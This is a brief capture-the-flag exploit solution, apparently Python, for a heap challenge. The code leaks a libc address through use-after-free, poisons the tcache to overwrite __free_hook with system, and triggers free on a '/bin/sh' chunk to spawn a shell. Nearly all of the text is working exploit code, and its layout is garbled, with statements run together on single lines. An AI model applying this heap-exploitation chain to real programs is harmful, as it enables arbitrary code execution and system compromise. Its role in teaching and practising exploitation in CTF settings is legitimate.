pseudocode for solution
```pythonp = elf.process()
def menu(ch, pt="Choice: "):    wsnd(ch, pt)
def malloc(sz, data="XXXXXXXX"):    menu(1)    p.sendlineafter( "size: ",sz)    if data:        p.sendlineafter("data: ",data)
def free():    menu(3)
def show():    menu(2)    return pr("1.")[:-3]
# Overwrite top chunk to a smaller size (prev in use set && page aligned)malloc(0x18, b"A" * 0x18 + pack(0x1d51))# Allocate memory larger than the new top chunk size causing a free operationmalloc(0x2000)
# make an allocation from unsorted bin and immediately free itmalloc(0x518, "AAAAAAAA")free()
# Use read after free to leak libc address from freed chunkdump = show()mallochook = solver.dpaddr(dump, 0) - 0x70
# Get free hook and system usinf libc leaksolver.libc.init_base(mallochook, "__malloc_hook")fhook = libc.sym["__free_hook"]system = pack(libc.sym["system"])
# get one entry in 0x70 tcachemalloc(0x68)  # chunk Afree()
malloc(0x28)  # chunk Bfree()
malloc(0x58)  # chunk Cfree()
# Realloc chunk B and owerwrite chunk C sizefield to 0x71malloc(0x28, b"B" * 0x28 + pack(0x71))free()
# Alloc chunk C from 0x60 tcache and free it to 0x70 tcachemalloc(0x58)free()
# Realloc Chunk B and owerwrite fd of chunk C to __free_hookmalloc(0x28, b"A" * 0x28 + pack(0x71) + pack(fhook))
malloc(0x68)  # Move __free_hook to head of tcache 0x70malloc(0x68, system)  # Owerwrite __free_hook with system
# system("/bin/sh")malloc(0x18, "/bin/sh\0")free()
p.interactive()```